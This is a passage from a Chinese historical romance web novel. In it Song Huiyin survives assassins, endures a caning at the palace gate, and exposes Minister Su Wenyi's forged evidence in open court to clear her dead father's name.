“甘泉宫中的日日夜夜,你帮我救傅母,教我骑马,带我去花田,你说绝不会负我。是你告诉我,在外面听见了什么流言,要亲口问你。我都记得的,我对你说的话也都是真心的。” “一开始,我确实是抱着利用你的心思来到你身边,可后来,我也是真的爱上了你。我对傅母说,倘若裴彧真心待我,那我也愿意拿真心待他。你总是问我和冯承在密谋什么,哪有什么密谋,我阿父冤死狱中,阿母无药而亡,幼弟生死不知。” “裴彧,你说我在密谋什么?我活到现在,心中支撑我的只有一个念头,就是为我父亲翻案,我不想后世史书骂他是贪官污吏!我想保住他身后名,我要复仇,我要苏家跟我宋家一样,家破人亡!” “你说让不要事事都找冯承,让我依靠你。我不敢啊,我总是担心有一天你得知真相不会站在我这边,现在这一天真的到来了。睢阳要和亲,你心情不好,我那时就想着,我不该再骗你了,你能帮我杀平嵘,是不是得知真相后,也会帮我呢?” “我满心期待着,我要告诉你一切,我想和你有以后的。可是我等来的是什么,等来的是你去青州将柳檀接回长安,闹得满城风雨,人人都说你要娶她。我去问你,你满脸不耐烦之色,我说,只要你解释,我就信。你却说不能告诉我。” “我就像个傻子一样,有时候真的看不懂到底是我玩弄了你,还是你玩弄了我。裴彧,我是爱过你的。 “现在,你还要把我关在这里,不让我去告发苏家吗?” 裴彧甚至听不清自己的声音,他听见自己沙哑至极的声音,“以民告官,你会死的。” “我早以将性命置之度外,你现在也可以杀了我。” 裴彧无声挪开一步,将门漏出来,声音像是牙缝里挤出一样,“你走吧。” 第58章 民女前御史大夫宋渭之女…… 徽音踏着月光走出去, 颜娘已经提着一个包袱在院中等她,她踏出院门时,听见身后的低语, “宋徽音,你踏出这道门, 和我就再没有以后了。” 徽音最后回头望了一眼这座小院,头也不回的离开。 她带着颜娘一路沉默的离开裴府,却没走远,而是在裴府侧门不远处的草垛上停下, 拉着颜娘坐下,“夜晚宵禁, 不能乱走, 我们就在这里等一夜吧。” 颜娘把包袱中的披风取出来披在徽音身上,“秋夜风凉, 别冻着了。” 徽音握着颜娘的手疲倦的点点头,仰头靠在灰墙上,今晚的月亮真圆啊。 颜娘年纪大了,禁不住熬夜,没过一会就靠着墙睡过去, 徽音解下身上的披风盖在她身上, 裴府的侧门突然被打开, 一个眼熟的婢女走出来, 对徽音道:“娘子, 你们进来歇一夜吧。” 徽音看向她身后, 空无一人。她摇摇头,“不必了。” 婢女又道:“奴婢等在这边有值房休息,不会被主子们知道的。” 徽音看了眼颜娘蜷缩在一起的身体, 答应下来,“劳烦你了。” 她叫醒颜娘,跟着那婢女往裴府内走,停在一处三间并列的屋子前,婢女上前推开门,“娘子今日就在此歇息吧,明日一早从侧门离开即可。” 徽音:“多谢你了。” 婢女笑着低头离开。颜娘已经进屋在铺床,徽音打量着这间屋子,家具屏风一应俱全,布置虽然谈不上多精贵,但绝不是府内婢女值房休息之处。 颜娘手下铺着床榻,被褥柔软细腻,是上好的绸缎布料,她心中有数,抬眼看着徽音呆呆的坐在窗前,双眼无神。 她轻叹一口气,走过去道:“时辰不早了,歇了吧。” 徽音点点头,起身时余光瞥见一个身影,她转身的动作一顿,关好窗户上床歇息。 翌日一早,天刚蒙蒙亮,徽音就带着颜娘离开了裴府,她暂时无处可去,就近找了一家客栈先安顿下来,同时给冯承去信告知他自己的下落。 冯承接到消息赶来时徽音正在整理收集好的证据。他忙问道,“究竟怎么回事,你怎住在此处,那裴彧竟将你赶出家门?” 徽音笑着安抚他,“是我自己要走的,昨夜我进了天禄书阁,看到了阿父一案的卷宗,找了案件的突破口。” 冯承大喜,“好!容我仔细想想,该如何扳倒苏家。” 徽音起身走到冯承身边行了一个大礼,冯承一脸不解,“徽音,你这是?” 徽音面带笑容,:“阿兄帮我良多,这最后一道坎就让我自己去迈吧。” 冯承倒吸一口凉气:“你要做什么?” “我打算效仿平桢,宫门鸣冤。” “你疯了!”冯承大惊失色,“你知不知道以民告官要付出什么代价!那平桢尚且是官身,越级相告尚要受荅,何况是你!” 徽音垂着眼,“我意已决,阿兄不必再劝。” 冯承抓住徽音的双臂,一脸急切的劝道:“你何必如此,此事容我好生徐徐图之,必能有两全之策!” 徽音面色苍白,微微摇头,“阿兄,夜长梦多,苏家未必不知我手上已有他的把柄,我须的速战速决。” “可” 徽音抬手阻止他再劝,“只要能为阿父翻案,我便是死于公堂之上亦不悔。” 冯承无话可说,他难受的低下头,匆匆掩面离开。 冯承离开后,徽音将颜娘叫来,叮嘱她明日一早就出城离开,她们从裴府带出来的金银能保颜娘一世无忧。 颜娘不肯走,“女郎,奴婢知道错了,奴婢再不敢自作主张,求您别把奴赶走。” 徽音扶起颜娘,擦干她的眼泪,轻声道:“并非你赶你,明日我生死难料,也许无法活着回来,我担心苏家事后报复,这才想让你走。” “奴不怕,死有何惧,就让奴陪着你吧。” 徽音长睫垂泪,抱紧颜娘,“可我怕,傅母,倘若我真的回不来,你得帮我逢年过节替我父母还有景川上柱香。” 颜娘抱着徽音流泪,半天说不出话。她想叫徽音不要去,想叫徽音和她一起走,离开这是非之地。但她也知道徽音不会听她的。 月明星唏,颜娘睡在徽音身边,呼吸均匀。徽音并无睡意,她握紧手中的玉瓶,在脑中思虑明日的公堂之上的证词。她等这一天已经太久了。 她听见街道上传来的更声,已经夜半子时了,徽音枕着手臂,强行驱逐脑中的思绪,闭上眼准备睡觉。 “咚——” 她听见一声细小的金戈声,像是精铁用力的碰撞在一起。徽音精神本就异常紧绷,听见这声彻底睡不着觉。她起身靠近窗边,那声音越来越大,越来越多。 她慢慢推开窗户,血腥气铺面而来,原本寂静无人的街道多了数十道持刀黑衣人的身影,令人奇怪的是,这些黑衣人居然战在一处,血液飞溅。 徽音瞳孔紧缩,一道羽箭从对面屋顶急速的向她面门射来,她甚至听见了羽箭破空之声。 “铮——” 底下一枚斜飞的弯刀打落羽箭,徽音回过神急忙关上窗,搬来衣橱将窗户死死挡住窗,她跌落在地,余惊未消。 下面的那群人是来杀她的,是苏家派来的刺客。 她赶紧翻出明日要呈上的证据,死死抱在怀中,听着下面的动静。 她僵在那里,连呼吸都放慢,全神贯注的盯着大门,如果那群刺客闯进来,她该怎么逃脱,怎么保全颜娘。 过了很久,徽音双腿发麻,她听见外头的声音渐渐消失,恢复了平静,也一直没有人闯进客栈。 她撑着虚弱的身体推开窗,街道下面空无一人,甚至连飞溅在地上的血液都被情理干净,一切就像什么都发生一样,像是她做的一场梦。 徽音盯着瓦片上柄泛着银光的弯刀,那是方才有人为了救她掷出来打落羽箭的弯刀,这柄弯刀证明了方才发生的一切都是真实的。 她探出身体,将那柄弯刀取下好生收好。 她再没有了睡意,索性握着那柄弯刀一夜到天明。 —— 八月十七,长安城的尖尖从云雾里透出,晨雾未散,街道上的青石板路还凝着露水。徽音着一身月白素衣,披头散发,跪于未央宫墙之下。 “民女前御史大夫宋渭之女宋徽音,叩请陛下上听,家父宋渭蒙冤,受小人栽脏,冤死牢狱,民女所告之人,乃是当今廷尉苏文易,请陛下查明真相,还忠臣清白!” 徽音将头重重磕在青砖地上,一声高过一声,她能感觉到额头传来的刺痛,温热的血珠沿着眉间蜿蜒而下,滴在青砖上。 不知喊了多久,久到她嗓子干涸难以发生,羽林卫的铁甲声才响起,将她围在正中。 眉眼肃穆的羽林郎将持节令而出,徽衣跪伏在地上,只能看见他玄绛相间的衣摆被风吹得猎猎作响。 羽林郎将盯着额头渗血,面色惨白的徽音道:“宋徽音,你可知以民告官,越级相告要付出什么代价?” 徽音跪着身体,双手举着她沉冤的血书呈上,“民女愿受苔刑,只求陛下亲览奏章!若民女诬告廷尉大人,甘愿一死向廷尉大人请罪!” 满场一片骇然,宫闱深处忽然钟鼓齐鸣,羽林郎将长叹不语,躬身接过那卷字迹工整的血书。 晨雾散去,一缕朝阳缓缓升起,斜斜散在徽音单薄的背脊上,巍峨矗立的宫门前,她孤身一人独行。 辰时三刻,钟鼓鸣鸣,宣帝端坐于北阙正宫之上,面前垂下的十二旒白玉珠微微晃动,遮住天颜。两侧文武公卿肃立,御史持笏记录,殿中气氛压抑。 正下方,廷尉苏文易背脊挺直的跪在堂中。 宣帝面前的案几上铺着一张字迹工整的血书,条理清晰,句句含冤。他将血书一把扔在苏文易面前,声音听不出喜怒,“你来说说,这是怎么回事?” 苏文易眯着眼看去,“回陛下,这书上所言皆不属实,此乃诬告。” 宣帝环视一圈,目光落在右前方的面无表情的裴彧身上,嘴上问道:“众卿如何看?” 下方官员不约而同的将目光投向前方的裴彧,示意他开口说话。毕竟那告官之人乃是他的妾室,所告之人更是太子未来的岳丈,按理这是裴府与东宫的家事,不知为何闹到大堂上了。 平阳侯翘着胡须上前一步,“陛下,臣以为这血书可信。” 宣帝:“为何?” “我朝阶级森严,以民告官,越级告官乃是大罪,即便所言为真,依旧逃脱不了罪行,按律须受荅刑,健壮男子都不一定抗得住这刑法,何况是一弱女子,她敢性命为证,此血书所言可信。” 隶属东宫的属官见状也道:“陛下,国家设立州郡,为了就是让民有官可告,可这女子却越过京兆尹直达天听,此为犯上,若人人效仿,那还有何人遵守律法?” 平阳侯心情愉悦,抚着长须慢慢道:“赵大人此言差矣,陛下问的是血书可信否,你去顾左右而言他,又是何道理?” 东宫和裴府狗咬狗,他喜闻乐见的很。这些时日因着他私下与匈奴单于设计睢阳和亲一事,裴彧发了疯的争对郑家,用着杀敌一千自损八百的方式,倒真让他有些吃不消。 眼下太子未来岳丈出事,他自然要来搅合搅合。 一时之间,堂上两方人马争论不休,东宫认为应该立即将宋徽音打入大牢以诬告定罪,吴王这边却认为应该听听宋徽音所言是否为真,再行论罪也不迟。 宣帝不耐烦听下面着些人打嘴仗,直接点名中立之人中书令王衡,“中书令,你说说你的看法。” 王衡瞧了眼面露恳求的王寰,微微叹息,走上前回话,“陛下,越级上告乃是先祖在时便立下的规矩,历来也有不少先例。臣认为宋氏此举为父伸冤并非罪责,她若愿意受越级上告的罪责,那这诉状陛下得接。” 宣帝额首,“朕与宋渭相识数十年,他的品行如何朕不能说一清二楚,却也熟知良多,当时查出他贪污军需一事,朕原本不信,可后来他却畏罪自尽于狱中,叫朕心痛。今日,他之女前来上告,朕倒也想想听听其中冤情。” “众卿以为如何?” 众卿:“陛下圣明。”你都这样说了还能如何。 宣帝满意的点点头,抬手示意。 “带宋氏。”黄门侍郎唱声穿透大殿。 徽音双手上镣铐,素衣染血,长发披散。她被两名黄门侍郎压至堂上,跪在苏文易身后一个身位,磕头行礼,“民女叩见陛下。” 宣帝挥手叫压着她的跪下,沉声道:“抬起头来。” 徽音跪直身体,抬起头,她额上的伤口已经被处理过,红肿一片,不再渗血。 宣帝:“你上述沉冤,状告廷尉苏文易诬陷你父致其死,你可知诬告之罪?” 徽音:“民女知道,民女不悔。” 宣帝额首,对堂上众卿道:“宋氏,你越级上告,依照律令,越诉者,苔五十,你可认?” 徽音磕头下去,“民女认。” “陛下,”一直安安静静的苏文易此刻终于抬起头,“昔日平桢是官身,他越级上告是为五十荅,而宋氏一介民身,这罪责应当翻倍。” 王寰不顾叔父中书令的阻拦,跪于堂中,言辞恳切,“陛下,宋氏只是一女子,兼之体弱,这一百荅下去想必” 苏文易打断他,“王郎官,你与宋氏有旧,可这是公堂岂能因为儿女私情有失偏颇?” 王寰又道:“昔日平桢亦是体弱,庭审时允其事后行刑,请陛下念在宋氏一片为父的心意上,也允其事后行刑。” 苏文易嗤笑:“平桢是官,又是太后娘娘亲厚子侄,代替陛下向太后娘娘膝前尽孝,可宋氏有何?难不成是要看在她是裴将军妾室的份上?” 徽音听见这话慢慢抬头,方才进殿时她就看见他了,从她进殿后,那人不曾回头一眼,冷眼旁观者,置身度外。 她扬声道:“民女已脱离裴府,与裴家再无干系,苏大人慎言。” 苏文易没有说话,一双狐狸眼紧紧盯着裴彧,宋徽音与裴彧决裂一事他早已知晓,可这男人啊,嘴上说着没关系,可心底怎么想的谁又知道呢。 裴彧若真的对宋徽音无所谓,那他昨日派去杀宋徽音的刺客为何无一人归来,宋徽音又为何安然无恙。 苏文易拿不住裴彧的想法,他只知道裴彧今日不插手,他赢定了,单靠一个太子不一定能牵扯住他,苏文易总要探探裴彧真正的想法。 “裴将军,你觉得呢?” 裴彧冷冷转头,眼底满是漠然,“按律处置即可。” 苏文易心下一松,遮去眼底得意之色,按照他的计划,只需让宋徽音庭前行刑,甚至用不着五十荅,他就能让她死在荅板上,叫她永远闭嘴,旁人还挑不出他的错处。 徽音本以为自己不会再裴彧心绪起伏,可这一刻,听着他毫不留情的话语,心中依然会痛。 王寰素来清隽的面上浮上怒意,双拳握紧盯着裴彧,他怎么能。 裴彧视线从徽音身上移开,余光瞥见跪在她身侧的王寰,面色更冷了三分。 太子有些于心不忍,他偷偷看着身侧的裴彧,他浑身上下都散发这一股生人勿进的气息,并且从宫宴后未再同自己说过一句话,送去赔罪的礼物也全部都被退回来。 太子心中发慌,看着堂中孤身一人对抗强权的徽音,心中有些不忿,他偷偷拉着裴彧的衣袖同他咬耳朵,“表兄,你真不管啊?” 裴彧面无表情的看了太子一眼,拉回衣袖。 太子被这一眼视若无物的眼神看愣住,从脚底板凉到胸口,裴彧从来不会用这种眼神看他,两人一起长大,裴彧待他从来都不是君的身份而是弟弟。从小到大,不管他犯什么错,裴彧都会给他兜底,不管他想做什么,裴彧都会支持。 太子本以为两人会一直这样下去,此刻他才懂,裴彧不是单纯的对他生气,而是失望,他很失望,自己身为储君,从小学的是君子之道,却明知苏家有罪还包庇。 太子面色难看,在宣帝准备开口判刑之事大声开口,“父皇,儿臣同王郎官意见一致,宋氏为父伸冤,置生死置之度外,品性实在高洁。儿臣认为荅刑不该是百苔,应该是” 他偷偷瞧了眼裴彧,发现他面色果然比方才温和了半分,“五十不,应该是三十!” 苏文易面色一滞,不可置信的抬头,太子他在干什么?他是不是帮错人了? “殿下?”苏文易颤颤巍巍喊道。 太子没有回头,依旧是那副躬身行礼的姿势,等着陛下定夺。 宣帝在听见太子这副言论心中甚是高兴,太子能不为一己之私,公允发言很是不错。只是他后面这句叫宣帝面色一顿,狠狠刮了道眼风下去,下令道:“既然如此,就五十荅,拖下去行刑!” 太子期期艾艾还想再论,被眼疾手快的裴彧一把拉了回去,示意他闭嘴。五十丈已经是他们能争取的最大限度了,再低就说不过去了。 太子双眼放光的看着裴彧,拉着他的衣袖小声道:“表兄,你不生孤的气了吗?” 他没听到裴彧的回答,太子顺着他的目光看去,徽音已经起身,跟着两个黄门侍郎朝外走去,她一身素衣,身姿纤弱,莫说五十荅了,只怕三十荅都熬不过去。 殿中其他人同太子想法一致,不约而同的叹气,如斯美人,今日就要香消玉陨于此了,可怜可叹。 太子用气音道:“表兄,你快想想办法啊,他们要出去了。” 裴彧单头将他的脑袋拨弄回去,不耐烦道:“安静点。” 太子老实的闭上嘴,乖乖站回去,表兄愿意跟他说话就行。 徽音走出大殿,眯着眼抬头去看天色,天空湛蓝,阳光明媚,是很好的一天。 两位黄门侍郎带着她一路下了阶梯,阶梯之下,一坐等身高,双臂宽的木头长凳已经放好在那里,两侧守着四位带刀金吾卫和两位手持木杖的行刑手。 她沉默的走到刑具旁,抬起双手让身后的人帮她卸下枷锁,那人许是心中不忍,轻声问:“你有什么要留下的话吗?” 徽音微笑道:“行刑前能否让我吃颗糖丸?” 那人不忍叹道:“吃吧。” 徽音取出腰间玉瓶,咽下口中的药丸。宋家灭亡时,她只藏起了这枚药丸。这是一云游仙师赠与她父亲的良药,可替重伤之人延续一日性命。 昔日阿母药石无依,她也想过死马当做活马医给阿母服下,医官却说,这里头有味与阿母长期服用的一味药相克,服之只会令阿母身体加速衰败。 徽音便放弃了,将此药一直留到现在,没想到真的派上了用场。只要让她留有一口气,一日足矣。 徽音趴在刑具上,双手被捆在脑袋两侧,双腿被紧紧绑在凳上,完全无法挣扎。 有人递来一块干净的锦帕给她,叮嘱道:“咬在嘴里,千万不能松开。” 徽音点点头,咬紧锦帕,闭上眼紧张的等待。 她听见那两个行刑手开始走动,停在她身侧,木杖在地面轻轻撞击,也敲在了她的心上。 木杖高高的举起,重重的打在她背脊,徽音闷哼一声,用力咬紧锦帕,背后一块火辣辣的灼烧感,痛得她指甲深深嵌进掌心。 又一杖落下,她已经咬不住嘴里的锦帕,额上浸汗,面色苍白的埋在刑具上,身后素白的衣裙已经破损。 徽音已经听不清什么声音了,她第一次这么痛,比那次来葵水还要痛,痛到她想就此晕过去,昏天黑地的睡上一觉。 不知是不是那颗药的药效发作了,徽音感觉伤口处有些发痒,身体也不如之前那样痛,第三杖下来的时候,她居然都没有痛叫出声,只是嘴角却不自主的溢出了血。 徽音埋头趴在那里,等着后续的杖刑落下。过了一会儿,她发现有人在解她手上捆绑的绳子,腿部的束缚也被解开,有人在她耳边温声道:“宋女郎,陛下免了你杖刑,快快随老奴进殿吧。” 徽音抬起头,苍白的唇色被鲜血染得艳丽,在她耳边说话的是陛下近侍王常侍,她不解的问,“常侍大人,为何突然免了我的责罚?” 徽音声音很轻,王常侍并未听清,只当她是痛的说胡话,他捡起锦帕擦干徽音嘴角的血迹,吩咐身后两个小黄门把徽音扶起来,着急忙慌的往殿中赶。 徽音受了三杖,除了面色虚弱些,其他还好,背脊上的伤口也因为那药的原因不是很痛,尚能忍受。 她脚步虚浮等待跟着王常侍走上阶梯,与从大殿中出来的裴彧撞了个正着,裴彧腰间佩剑,神情冷峻的往外走。 徽音看见他不禁放慢脚步,裴彧为何出殿了? 王常侍也看见了裴彧,停住脚步恭恭敬敬的朝裴彧行礼,“裴将军,您” 裴彧脚步不停,单手抬起打断王常侍的话语,目光掠过徽音时微微停顿,而后装作什么都没看见的大步离去。 第59章 尘埃落定,大仇得报…… 徽音望着他慢慢远去的身影, 抿紧唇瓣跟着王常侍重新进入大殿,宣帝看见她进来,嘴角似乎上扬了半分, “宋氏,你上前来, 呈上证据,与廷尉当堂对质,若你证据不足以定廷尉的罪,朕便以诬告之罪将你腰斩与市!” 苏文易已经站起身, 他回头打量徽音,眼角眯起微微上扬, 像一只老狐狸, 他冷哼一声,“说!究竟是谁指使你诬告本官的, 你可知此乃大罪,祸及家人!” 徽音直视苏文易,轻笑道:“苏大人,我今日能站在这里,你就应该明白我不是能被轻易吓住的人。你说我诬告你, 待我将证据一一呈上, 陛下和诸位大人自当知道是否诬告, 你说祸及家人, 可你是不是忘了, 我家人之死全系你苏家所为, 我哪里还有家人?” 苏文易:“正因为你没有家人,所有才有恃无恐,被人推出来诬告本官!你背后之人是何目的, 是否意指其他?” 他说这话时,目光却紧紧盯着左前方的平阳侯,试图将此事拉扯到两党之争上。 “廷尉大人不必着急攀扯他人。” 徽音从袖中取出袁秩留下的证据递给王常侍,“陛下,这是廷尉大人勾结御史袁秩的往来书信,廷尉大人指使袁秩告发我父亲贪污受贿,并在信中言明让袁秩联合其他兰台御史上书重判我父亲。” 苏文易面色肉眼可见的低沉下去,他紧盯着王常侍手中的帛书,心中不禁捏了把冷汗,他早已派人私下将袁秩一家灭口,将袁家一把付之一炬,没想到袁秩私底下竟真藏了一手。 苏静好告诉他宋徽音手中有扳倒苏家的证据,苏文易原本是不信的,但为了以防万一,他还是派人去刺杀宋徽音,没想到被裴彧拦下,今日公堂之上,他本想借越级之罪叫人将宋徽音当场打死,没想到也被拦了下来。 宣帝接过帛书细细看过去,冕冠垂下,众人看不清他的神色,一时之间,大殿之上只听得见帛书摩擦的声音。 良久,宣帝才示意王常侍将帛书拿给众臣查阅,第一查阅的是平阳侯,他看了几眼,有些恨铁不成钢的看了徽音一眼,将帛书递给身后的尚书令王衡。 他还当宋徽音真有什么能够扳倒苏家的铁证,没想到是如此不堪一击的证据,真是蠢货。 尚书令王衡接过帛书,唇上的胡须抖了一抖,叹息着摇头,“陛下,这帛书只能证明是苏大人指使袁秩告发宋渭,却并不能证明宋渭是无辜的。” 苏文易当即反应过来,是了,他和袁秩通信只在信众让他去告发宋渭,只要宋徽音不能证明宋渭没有贪污,就不能证明他是故意构陷。 想到此处,苏文易扬声道:“陛下,当日是有人私下向臣告发宋渭贪污一事,臣思虑良久,才去信联络袁秩,让御史来告发宋渭。” 他说完转身看着徽音,微笑道:“宋氏,你这份帛书根本不能作为证据,你还不认罪伏诛!” 徽音蹙着眉,似是因为呈上的证据无效,当场愣在原地。 裴彧再次进入大殿时,便看见苏文易指着徽音让她认罪伏诛,他微不可察的皱眉,从殿后不显眼的地方慢慢走到太子身后,借由太子身形遮挡,透过缝隙去看徽音。 他不清楚徽音手中还有什么证据,但他了解她。从平桢萧纷儿一事,再到她与广陵争论,算计广陵,以及她杀袁秩一事来看,她绝对不是如此鲁莽的人,她等这一天太久,如果不是必胜的把握她不会站在这里。 裴彧掀起眼皮看去,徽音表情有些慌乱,脚步甚至有不稳,像是被苏文易逼得节节败退,可仔细看去,她眼底却没有丝毫慌乱。 徽音朝方才手心掐出的伤口再度用力掐去,钻心的痛意瞬间蔓延,激得她眼眶瞬间逼出泪,她带着哭腔质问苏文易: “就是你诬陷的我父亲,三公之上,还有丞相,有人要告发御史大夫,自然是告发给丞相,为何偏偏是你得知我父亲贪污的把柄?你又为何因为这莫须有的罪名就指使袁秩去告发我父亲!他当时位列三公,掌御史台,若不是你许了袁秩什么,他岂敢告发自己的上司!” 苏文易看着徽音泪眼朦胧,一副没辙了的模样,心下微松,“你说的这些首先是要证明你父亲是无罪!” 尚书令王衡也道:“宋氏,倘若你父亲真的无罪,那么苏大人指使袁秩告发你父亲一事确实蹊跷,可你有证据证明你父亲无罪吗?” 王寰站在王衡身后,盯着大殿中的身影,当即想冲出替她辩驳,却被叔父王衡死死拉住,冲他摇头。 王寰沉默半响,收回脚步。 徽音含泪:“我有!” 苏文易闻言大笑,踱步到徽音身边,“你既然有,那就拿出来让大家一观吧。” 非他得意,他初闻此计也觉得诧异,万万没想到他那个透明女儿苏静好能想出此计,此计说高明也不高明,须得极为亲近的人才能做成。 伪造书信简单,印鉴却是独一无二难以伪造,宋渭自己看见那封印着他贪污铁证的密信都束手无策,而况宋徽音一介女子。 有了方才那出,他此刻更不相信宋徽音能翻出什么风浪了,到底是一个女子,眼界见识有限,难成大事。 徽音无视苏文易,走到堂前,她身后被打破的衣裳暴露在裴彧面前,露出里面的里衣,裴彧眼神加深,回忆起方才看见的那两个行刑手的脸,指节攥紧。 “陛下,民女所说的证据就是当初那封盖我父亲印信的伪造书信!” 苏文易冷哼,“你说是伪造就是伪造!我还说你是诬告!” 一直未曾开口的丞相笑道:“苏大人,不如听她把话说完。” 苏文易面色难看,甩袖侧身,一言不发。 徽音继续道:“我有两个证据,其一,与我阿父共事已久的都知道,他有个习惯,陛下曾因这个习惯当庭斥过他,他却说习惯难以更改,请陛下勿恼。” 宣帝沉思良久,想起什么似的笑笑,面露怀念,“朕想起来了,你父亲与旁人不同,旁人留印都是在书信的右下角,唯独你父亲不同,他落印都在右上角,为此朕说过他不少次,他都不曾改。” 徽音:“是,当时那封密信不知落印为何处?” 丞相和中书令对视一眼,当时那封信他们二人都曾过手,“回陛下,若臣等不曾记错的话,那封信的落印之处是,右下角。” 苏文易立刻反驳,“这算什么证据,说不定是你父亲又改了落印方式。” 徽音又道:“陛下可派人校核,数十年来,我父亲所经手的书信,是否除了那封,其他皆是右上角。” 宣帝朝略一会手,守在殿内的属官立马弓着身子退出殿。 丞相朝徽音道:“苏大人的话有理,宋氏,此事证据依旧不足,你说的其二是什么?” 徽音朝丞相微微倾身,“我朝三年前书写所用的帛书皆是平纹丝绸,建元二年,宫中丝造局织出了一种用双丝线织成的绢,质地比普通绢更为细密厚实,不易透墨” 苏文易不耐烦的打断徽音,“这里是公堂,不是你的绣楼!我看你根本就没什么证据,只是在拖延时间!” 他跪下去,对着陛下声泪俱下,“陛下,此女狡诈不堪,诬告朝中大臣,实在是胆大包天,请陛下立刻将她腰斩于市,还老臣清白。” 太子一党有些人蠢蠢欲动,按照事情的发展,此刻他们应该齐齐跪下附和苏文易,请求陛下将此女立即腰斩,可上头两位一副与我无关,高高挂起的样子,他们一时间进退两难。 终于,太子殿下使了眼色,静观其变。 徽音低头看着苏文易,露出一个微笑,“苏大人,你太着急了,民女还未说完了。” 苏文易心中那阵不好的预感越来越强烈,他做官这么多年,什么大风大浪没见过,绝不会败在一个女子手上。 徽音笑容越发大了,苏文易看着她那张能让全天下男人为她癫狂的脸,没有一丝觉得旖旎,倒像是看见了地府来索命的女阎罗。 “我要说的是,袁秩告发我父亲贪污是五年前他任军需官时的事情,书信也是五年前的,那么请你告诉我,为何那封密信所用的材质是建元二年,也就是三年前才被制出来的双丝线织绢。” “三年才出现的丝线织绢,为何用在了五年前的书信上?” 苏文易脑中轰隆一片,他已经听不清殿中众臣的讨论声,他没想到,他是真的没想到啊,他居然败在了这种小事上面。 他僵在原地,面色狰狞,这怎么可能,他不可能输,更不出输给一个女子! 宣帝也万万没想到,他立刻就吩咐小黄门赶往天禄书阁,将宋渭一案的卷宗调来现场,当堂查看。 裴彧望着徽音的侧脸,胸口处一阵燥热,烘得他全身上下都是暖流,他的眼里再也看不见其他人,只有她。 徽音却没有放松警惕,不到最后一刻苏文易不会认输,而她也不想祭出最后的证据,她之所以故意示弱,就是想故意让苏文易以为他自己必赢,将他捧在最高处,再狠狠让他摔下,软解他的内心,彻底打倒他。 她紧紧盯着苏文易,上前一步,“你认不认罪!” 苏文易摇头失笑,双肩颤抖,众人不解的看着他,却见他已经从方才那一瞬间的失控立刻变回正常,如同平常一样,他拱手朝宣帝道:“陛下,即使那封信是伪造的,却不也不能说明陷害宋渭一事是臣所为,臣也只是受小人蒙蔽,一时失察。” 王寰忍不住出声,“若非是你,你为何在给袁秩的信中叫他联合御史台上书严惩宋大人?” 苏文易眼底暗光流转,“书信是伪造的,但你能证明书信是我伪造的吗,我说了,我只是一时不察受人蒙蔽,此罪我认,旁的我不认。” 王寰还要再开口,却被王衡一把拉回去,怒瞪着他教训,“闭嘴。”随后他朝上首的宣帝拱手告罪,“陛下,这小子殿前失仪,请您降罪。” 宣帝摆摆手,“不可再犯。” 他道:“苏卿说的有理,宋氏,你可有其他证据,若无,今日你可以替你父亲翻案,朕会昭告天下,为你父亲平反。可你诬告重臣之罪却是逃不过的。” 苏文易也跟着回头,瞧见徽音一点都慌乱,冷冷盯着他,眼底幽深不明。他被这饱含仇恨的眼神冷不丁的吓一跳,稳住心神道:“宋氏,你生就一张好模样,勾得裴将军为你神魂颠倒,连素有如玉君子名号的王氏郎君都替你说话,可你须知,天下男子可不同于他们,被你玩弄于鼓掌。” “住口,大殿之上,莫要胡言乱语。”太子看不惯有人侮辱裴彧,出声呵斥。 苏文易被太子当堂呵斥,面色难看几分,倒也没有再出言说些什么。 只是他这一句,成功的将在场所有人,包括高堂之上的宣帝目光,齐齐转向了低调的裴将军身上。 宣帝不知出于什么心思没有喝止众人,毕竟裴彧和王寰乃是这年轻辈中最为出众的两个儿郎,在加上一个宋徽音,这三人凑在一起,倒叫人伸出无限想象,不自觉的去探究他们三人之间的风月情事。 裴彧对投来的视线视若无睹,他面容冷漠,眼神未动半分,彷佛今日真的是从头到尾都来看戏。 只可惜,要是没有方才那事,众人可能还真的相信他装出来的一副无动于衷的模样,联想方才的事情,在看他此刻故作冷漠的模样,倒叫人好笑的紧。 徽音皱着眉,不明白事情的走向怎么突然变成这样了,她现在是一万个不愿意同裴彧扯上关系,何况今日于她而言,异常重要。 她冷静片刻,开口拉回众人的注意力,“方才苏大人说没有证据能证明是你伪造了密信,不过我却有其他证据能证明是你亲手策划了整场栽赃贪污案。” 苏文易面色铁青,梗着头从地上起身,双目充血的来到徽音面前,“我倒要看看你还能拿出什么证据!” 徽音沉默片刻,不止苏文易,连她自己都到了山穷水尽的地步。 今日,她和苏家只能活一个。 “我多方求证过,我阿父死前,最后一个见他的是你。” 苏文易大笑:“那又如何,他关押在廷尉,我去劝他认罪,有问题吗?” 徽音冷眼望着他:“你走后他就撞墙自尽身亡,他是被冤枉的,未洗净冤屈之前怎么可能会畏罪自尽。” 两人你一言我一语的在殿上争论。 “许是他自己觉得洗刷清白无望,不想活了。” “不,是你毒杀了他!是你买通仵作隐瞒我父亲真实的死因。” “证据呢!”苏文易狞笑着,宋渭早已下葬,尸身说不定都已腐烂化为白骨,早就无处查了。 徽音眼中含泪,跪地磕头,“陛下,民女请求开棺验尸!” 她没有办法了,她其实也拿不准阿父究竟是不是被毒杀的。 她只能拼一把,阿父绝不会自行自尽,一定是有人对他动手,毒杀是最便利的。 大殿被这一句惊世骇俗的话语惊起一阵波澜。 “这怎么能成!简直是一派胡言!” “不可啊,怎可扰死人安宁!” “真是礼纲蹦坏,大不孝。” 苏文易差点笑出声,倒是他高估的宋徽音,掘自己父亲的坟墓,开馆验尸,都不用他出手,她就能被唾沫星子淹死。 宣帝声音也沉了几分,“宋氏,你可知此举是大不孝?” 太子也不由得朝跪着的徽音看去,她怎么能说出这个话,方才大好的局面完全因这句话扭转。 他偷偷转头去看裴彧,却见裴彧眸色沉沉的望着徽音,眼底闪烁着他不懂的情绪,像是心疼。 他来不及多看,只见徽音字字泣血,“孝义?为找出杀父真凶开棺验尸是为不孝,杀父仇人就在眼前却不能将他伏法更是不孝,两者相比,什么才是不孝!” 她双眼含泪,盯着苏文易不死不休,“只要能将你苏文易绳之于法,这千古骂名我不惧。” “陛下,请您下旨开棺验尸!” 苏文意浑身一震,竟被她这破釜沉舟的气势吓住,他哆哆嗦嗦的跪下,含泪泣道:“陛下,不可扰死者安宁啊,此事若传出去,叫天下士子如何看待您啊。” 徽音低着头,如果可以,她也不愿意去扰阿父安宁。她眼中蓄满泪,如今的证据已经能够洗刷阿父的冤屈,只是不能将苏文易绳之以法,其实也还算圆满了。 难得真要让人去挖坟掘墓,让阿父在地底下也不得安宁吗? 就在这时,有人走到她的身边,皂角的清香味夹杂血腥气扑鼻而来,让她一时之间分不清身在何处。 